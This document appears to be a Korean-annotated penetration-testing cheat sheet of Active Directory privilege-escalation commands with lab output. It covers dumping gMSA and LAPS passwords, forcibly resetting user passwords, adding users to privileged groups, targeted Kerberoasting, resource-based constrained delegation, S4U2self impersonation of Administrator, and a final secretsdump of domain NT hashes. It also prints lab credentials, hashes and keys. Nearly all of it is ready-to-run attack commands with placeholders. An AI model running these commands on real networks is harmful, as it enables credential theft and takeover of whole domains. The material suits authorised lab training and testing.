$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
$mpl = ConvertFrom-ADManagedPasswordBlob $mp
$user = 'BIR-ADFS-GMSA$'
$password = $mpl.'CurrentPassword'
$secpass = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $secpass)

Invoke-Command -Computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'password123!' -Force)} -Credential $cred

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# python3 gMSADumper.py -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -d search.htb
Users or groups who can read password for BIR-ADFS-GMSA$:
 > ITSec
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f
BIR-ADFS-GMSA$:aes256-cts-hmac-sha1-96:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38
BIR-ADFS-GMSA$:aes128-cts-hmac-sha1-96:dc4a4346f54c0df29313ff8a21151a42

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# nxc smb 10.10.11.129 -u 'BIR-ADFS-GMSA$' -H e1e9fd9e46d0d747e1595167eedcec0f    
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\BIR-ADFS-GMSA$:e1e9fd9e46d0d747e1595167eedcec0f 

nxc ldap <IP> -u <USER> -p <PASS> --gmsa

# ReadGMSAPassword 권한이 있는 계정의 티켓 발급
impacket-getTGT -dc-ip <dc-ip> <domain/username:password>

# 티켓 익스포트
export KRB5CCNAME=<ccache name>

# GMSAPassword 덤프
bloodyAD --host <FQDN> -d <domain> --dc-ip <dc-ip> -k get object <Target> --attr msDS-ManagedPassword

*Evil-WinRM* PS C:\windows\temp> net groups LAPS_Readers
Group name     LAPS_Readers
Comment

Members

-------------------------------------------------------------------------------
svc_deploy
The command completed successfully.

*Evil-WinRM* PS C:\windows\temp> Get-ADComputer -Filter * -Property 'ms-Mcs-AdmPwd'
                                            
                                            
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb                   
DNSHostName       : dc01.timelapse.htb      
Enabled           : True           
ms-Mcs-AdmPwd     : n((r2Ep}U@3&pw/v;1G%4SFr 
Name              : DC01              
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec ldap 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.152    389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV 
LAPS        10.10.11.152    389    DC01             [*] Getting LAPS Passwords
LAPS        10.10.11.152    389    DC01             Computer: DC01$                Password: n((r2Ep}U@3&pw/v;1G%4SFr

setuserinfo2 <Target> 23 <New PASS>

┌──(root㉿kali)-[~]
└─# rpcclient -U wiki 10.0.2.10                                                                  
Password for [WORKGROUP\wiki]:
rpcclient $> setuserinfo2 pentesting 23 password321!
rpcclient $> exit
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password321!
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password321! 

impacket-changepasswd -altuser <USER> -altpass <PASS> <Domain>/<Target>@<DC-IP> -reset

┌──(root㉿kali)-[~]
└─# impacket-changepasswd -altuser pentesting -altpass password123@ offsec/pentesting@10.0.2.10 -reset
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

New password: 
Retype new password: 
[*] Setting the password of offsec\pentesting as offsec\pentesting
[*] Connecting to DCE/RPC as offsec\pentesting
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password123!                                                   
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password123! 

bloodyAD --host <Target IP> -d <Domain> -u <USER> -p <PASS> set password <Target USER> <Target New PASS>

# AddSelf 권한이 있는 사용자 자격증명을 객체로 저장
$SecPassword = ConvertTo-SecureString '<PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<Domain>\<USER>', $SecPassword)

# 저장한 객체정보를 권한이 있는 그룹에 위임
Add-DomainGroupMember -Identity '<Group>' -Members '<USER>' -Credential $Cred

# 그룹의 멤버를 확인하여 정상적으로 위임이 되었는지 확인
Get-DomainGroupMember -Identity '<Group>'

bloodyAD.py -u <USER> -p <PASS> -d <Domain> --host <IP> add groupMember <Group> <USER>

# 명령어 양식
python3 targetedKerberoast.py -v -d <Domain> -u <USER> -p <PASS> --request-user <Target> --only-abuse

# 권한이 있는 사용자 개체 정보 변수화
$SecPassword = ConvertTo-SecureString <PASS> -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(<Domain>/<USER>, $SecPassword)

# 도메인 객체 정보 저장
Set-DomainObject -Credential $Cred -Identity <Target> -SET @{serviceprincipalname='nonexistent/HTTP'}

# SPN 등록
Get-DomainSPNTicket -Credential $Cred <Target> | fl

# 공격 후 SPN 정리
Set-DomainObject -Credential $Cred -Identity <Target> -Clear <SPN>

# 명령어 양식
bloodyAD --host <DC-IP> -d <Domain> -u <USER> -p <PASS> add groupMember <Group> <Target>

# 개체 정보 변수화
$pwd = ConvertTo-SecureString <PASS> -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential(<DOMAIN\USER>, $pwd)

# 그룹에 사용자 추가
Add-DomainGroupMember -Credential $creds -Identity <Group> -Members <USER> -Verbose

# 그룹 사용자 조회
Get-DomainGroupMember -Identity <Group> | Select <USER>

# 그룹에 사용자 삭제
Remove-DomainGroupMember -Credential $Cred

# 새로운 머신 계정 생성
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'

# 타겟의 RBCD에 계정 등록
impacket-rbdc -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'

# 등록된 계정을 통해 TGT 발급
impacket-getST -spn 'cifs/targetcomputer.testlab.local' -impersonate Administrator 'domain/attackersystem$:Summer2018!'

# 장악한 계정을 RFCD에 등록
impacket-rbcd -delegate-to <Target> -delegate-from <USER> -dc-ip <dc-ip> -action 'write' <Domain/USER:PASS>

# 계정의 TGT 발급
impacket-getTGT <Domain/USER> -hashed <NTLM>

# 발급된 TGT을 분석
impacket-describeTicket <Ticket>

# 계정의 NT Hash 값을 TGT 세션 키 값으로 변경
python3 smbpasswd.py <Domain/USER:PASS@DC FQDN>

# S4U2self를 통해서 도메인 관리자 ST 발급
impacket-getST -u2u -impersonate Administrator -spn 'cifs/<DC FQDN>' <Domain/USER> -k -no-pass

# 발급된 도메인 관리자 ST 환경 변수 등록
export KRB5CCNAME=<Service Ticket>

# 도메인 NT Hash 덤핑
impacket-secretsdump <DC FQDN> -k